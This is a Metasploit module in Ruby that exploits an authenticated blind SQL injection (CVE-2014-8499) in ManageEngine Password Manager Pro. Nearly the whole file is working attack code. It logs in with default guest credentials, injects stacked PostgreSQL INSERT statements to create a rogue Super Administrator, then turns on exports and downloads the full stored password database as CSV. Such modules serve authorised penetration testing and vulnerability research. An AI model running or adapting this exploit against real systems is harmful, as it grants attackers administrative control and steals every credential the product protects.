metasploit-framework/modules/auxiliary/admin/http/manageengine_pmp_privesc.rb

327 lines
12 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'ManageEngine Password Manager SQLAdvancedALSearchResult.cc Pro SQL Injection',
'Description' => %q{
ManageEngine Password Manager Pro (PMP) has an authenticated blind SQL injection
vulnerability in SQLAdvancedALSearchResult.cc that can be abused to escalate
privileges and obtain Super Administrator access. A Super Administrator can then
use his privileges to dump the whole password database in CSV format. PMP can use
both MySQL and PostgreSQL databases but this module only exploits the latter as
MySQL does not support stacked queries with Java. PostgreSQL is the default database
in v6.8 and above, but older PMP versions can be upgraded and continue using MySQL,
so a higher version does not guarantee exploitability. This module has been tested
on v6.8 to v7.1 build 7104 on both Windows and Linux. The vulnerability is fixed in
v7.1 build 7105 and above.
},
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2014-8499' ],
[ 'OSVDB', '114485' ],
[ 'URL', 'http://seclists.org/fulldisclosure/2014/Nov/18' ],
[ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/ManageEngine/me_pmp_privesc.txt' ],
],
'DisclosureDate' => 'Nov 8 2014'))
register_options(
[
Opt::RPORT(7272),
OptBool.new('SSL', [true, 'Use SSL', true]),
OptString.new('USERNAME', [true, 'The username to login as', 'guest']),
OptString.new('PASSWORD', [true, 'Password for the specified username', 'guest']),
OptString.new('TARGETURI', [ true, "Password Manager Pro application URI", '/'])
])
end
def login(username, password)
# 1st step: we obtain a JSESSIONID cookie...
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'PassTrixMain.cc')
})
if res && res.code == 200
# 2nd step: we try to get the ORGN_NAME and AUTHRULE_NAME from the page (which is only needed for the MSP versions)
if res.body && res.body.to_s =~ /id="ORGN_NAME" name="ORGN_NAME" value="([\w]*)"/
orgn_name = $1
else
orgn_name = nil
end
if res.body && res.body.to_s =~ /id="AUTHRULE_NAME" name="AUTHRULE_NAME" value="([\w]*)"/
authrule_name = $1
else
authrule_name = nil
end
# 3rd step: we try to get the domainName for the user
cookie = res.get_cookies
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'login', 'AjaxResponse.jsp'),
'ctype' => "application/x-www-form-urlencoded",
'cookie' => cookie,
'vars_get' => {
'RequestType' => 'GetUserDomainName',
'userName' => username
}
})
if res && res.code == 200 && res.body
domain_name = res.body.to_s.strip
else
domain_name = nil
end
# 4th step: authenticate to j_security_check, follow the redirect to PassTrixMain.cc and get its cookies.
# For some reason send_request_cgi! doesn't work, so follow the redirect manually...
vars_post = {
'j_username' => username,
'username' => username,
'j_password' => password
}
vars_post['ORGN_NAME'] = orgn_name if orgn_name
vars_post['AUTHRULE_NAME'] = authrule_name if authrule_name
vars_post['domainName'] = domain_name if domain_name
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'j_security_check;' + cookie.to_s.gsub(';','')),
'ctype' => "application/x-www-form-urlencoded",
'cookie' => cookie,
'vars_post' => vars_post
})
if res && res.code == 302
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'PassTrixMain.cc'),
'cookie' => cookie,
})
if res && res.code == 200
# 5th step: get the c ookies sent in the last response
return res.get_cookies
end
end
end
return nil
end
def inject_sql(old_style)
# On versions older than 7000 the injection is slightly different (we call it "old style").
# For "new style" versions we can escalate to super admin by doing
# "update aaaauthorizedrole set role_id=1 where account_id=#{user_id};insert into ptrx_superadmin values (#{user_id},true);"
# However for code simplicity let's just create a brand new user which works for both "old style" and "new style" versions.
if old_style
sqli_prefix = '\\\'))) GROUP BY "PTRX_RID","PTRX_AID","PTRX_RNAME","PTRX_DESC","DOMAINNAME","PTRX_LNAME","PTRX_PWD","PTRX_ATYPE","PTRX_DNSN","PTRX_DEPT","PTRX_LOTN","PTRX_OSTYPE","PTRX_RURL","C1","C2","C3","C4","C5","C6","C7","C8","C9","C10","C11","C12","C13","C14","C15","C16","C17","C18","C19","C20","C21","C22","C23","C24","A1","A2","A3","A4","A5","A6","A7","A8","A9","A10","A11","A12","A13","A14","A15","A16","A17","A18","A19","A20","A21","A22","A23","A24","PTRX_NOTES") as ' + Rex::Text.rand_text_alpha_lower(rand(8)+3) + ";"
else
sqli_prefix = '\\\'))))) GROUP BY "PTRX_RID","PTRX_AID","PTRX_RNAME","PTRX_DESC","DOMAINNAME","PTRX_LNAME","PTRX_PWD","PTRX_ATYPE","PTRX_DNSN","PTRX_DEPT","PTRX_LOTN","PTRX_OSTYPE","PTRX_RURL","C1","C2","C3","C4","C5","C6","C7","C8","C9","C10","C11","C12","C13","C14","C15","C16","C17","C18","C19","C20","C21","C22","C23","C24","A1","A2","A3","A4","A5","A6","A7","A8","A9","A10","A11","A12","A13","A14","A15","A16","A17","A18","A19","A20","A21","A22","A23","A24","PTRX_NOTES") AS Ptrx_DummyPwds GROUP BY "PTRX_RID","PTRX_RNAME","PTRX_DESC","PTRX_ATYPE","PTRX_DNSN","PTRX_DEPT","PTRX_LOTN","PTRX_OSTYPE","PTRX_RURL","C1","C2","C3","C4","C5","C6","C7","C8","C9","C10","C11","C12","C13","C14","C15","C16","C17","C18","C19","C20","C21","C22","C23","C24") as ' + Rex::Text.rand_text_alpha_lower(rand(8)+3) + ";"
end
user_id = Rex::Text.rand_text_numeric(4)
time = Rex::Text.rand_text_numeric(8)
username = Rex::Text.rand_text_alpha_lower(6)
username_chr = ""
username.each_char do |c|
username_chr << 'chr(' << c.ord.to_s << ')||'
end
username_chr.chop!.chop!
password = Rex::Text.rand_text_alphanumeric(10)
password_chr = ""
password.each_char do |c|
password_chr << 'chr(' << c.ord.to_s << ')||'
end
password_chr.chop!.chop!
group_chr = ""
'Default Group'.each_char do |c|
group_chr << 'chr(' << c.ord.to_s << ')||'
end
group_chr.chop!.chop!
sqli_command =
"insert into aaauser values (#{user_id},$$$$,$$$$,$$$$,#{time},$$$$);" +
"insert into aaapassword values (#{user_id},#{password_chr},$$$$,0,2,1,#{time});" +
"insert into aaauserstatus values (#{user_id},$$ACTIVE$$,#{time});" +
"insert into aaalogin values (#{user_id},#{user_id},#{username_chr});" +
"insert into aaaaccount values (#{user_id},#{user_id},1,1,#{time});" +
"insert into aaaauthorizedrole values (#{user_id},1);" +
"insert into aaaaccountstatus values (#{user_id},-1,0,$$ACTIVE$$,#{time});" +
"insert into aaapasswordstatus values (#{user_id},-1,0,$$ACTIVE$$,#{time});" +
"insert into aaaaccadminprofile values (#{user_id},$$" + Rex::Text.rand_text_alpha_upper(8) + "$$,-1,-1,-1,-1,-1,false,-1,-1,-1,$$$$);" +
"insert into aaaaccpassword values (#{user_id},#{user_id});" +
"insert into ptrx_resourcegroup values (#{user_id},3,#{user_id},0,0,0,0,#{group_chr},$$$$);" +
"insert into ptrx_superadmin values (#{user_id},true);"
sqli_suffix = "-- "
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "SQLAdvancedALSearchResult.cc"),
'cookie' => @cookie,
'vars_post' => {
'COUNT' => Rex::Text.rand_text_numeric(2),
'SEARCH_ALL' => sqli_prefix + sqli_command + sqli_suffix,
'USERID' => Rex::Text.rand_text_numeric(4)
}
})
return [ username, password ]
end
def get_version
res = send_request_cgi({
'uri' => normalize_uri("PassTrixMain.cc"),
'method' => 'GET'
})
if res && res.code == 200 && res.body &&
res.body.to_s =~ /ManageEngine Password Manager Pro/ &&
(
res.body.to_s =~ /login\.css\?([0-9]+)/ || # PMP v6
res.body.to_s =~ /login\.css\?version=([0-9]+)/ || # PMP v6
res.body.to_s =~ /\/themes\/passtrix\/V([0-9]+)\/styles\/login\.css"/ # PMP v7
)
return $1.to_i
else
return 9999
end
end
def check
version = get_version
case version
when 0..7104
return Exploit::CheckCode::Appears
when 7105..9998
return Exploit::CheckCode::Safe
else
return Exploit::CheckCode::Unknown
end
end
def run
unless check == Exploit::CheckCode::Appears
print_error("Fingerprint hasn't been successful, trying to exploit anyway...")
end
version = get_version
@cookie = login(datastore['USERNAME'], datastore['PASSWORD'])
if @cookie == nil
fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate.")
end
creds = inject_sql(version < 7000 ? true : false)
username = creds[0]
password = creds[1]
print_good("Created a new Super Administrator with username: #{username} | password: #{password}")
cookie_su = login(username, password)
if cookie_su.nil?
fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate as Super Administrator, account #{username} might not work.")
end
print_status("Reporting Super Administrator credentials...")
report_super_admin_creds(username, password)
print_status("Leaking Password database...")
loot_passwords(cookie_su)
end
def report_super_admin_creds(username, password)
status = Metasploit::Model::Login::Status::SUCCESSFUL
service_data = {
address: rhost,
port: rport,
service_name: 'https',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: self.fullname,
private_type: :password,
private_data: username,
username: password
}
credential_data.merge!(service_data)
credential_core = create_credential(credential_data)
login_data = {
core: credential_core,
access_level: 'Super Administrator',
status: status,
last_attempted_at: DateTime.now
}
login_data.merge!(service_data)
create_credential_login(login_data)
end
def loot_passwords(cookie_admin)
# 1st we turn on password exports
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'ConfigureOffline.ve'),
'cookie' => cookie_admin,
'vars_post' => {
'IS_XLS' => 'true',
'includePasswd' => 'true',
'HOMETAB' => 'true',
'RESTAB' => 'true',
'RGTAB' => 'true',
'PASSWD_RULE' => 'Offline Password File',
'LOGOUT_TIME' => '20'
}
})
# now get the loot!
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'jsp', 'xmlhttp', 'AjaxResponse.jsp'),
'cookie' => cookie_admin,
'vars_get' => {
'RequestType' => 'ExportResources'
}
})
if res && res.code == 200 && res.body && res.body.to_s.length > 0
vprint_line(res.body.to_s)
print_good("Successfully exported password database from Password Manager Pro.")
loot_name = 'manageengine.passwordmanagerpro.password.db'
loot_type = 'text/csv'
loot_filename = 'manageengine_pmp_password_db.csv'
loot_desc = 'ManageEngine Password Manager Pro Password DB'
p = store_loot(
loot_name,
loot_type,
rhost,
res.body,
loot_filename,
loot_desc)
print_status("Password database saved in: #{p}")
else
print_error("Failed to export Password Manager Pro passwords.")
end
end
end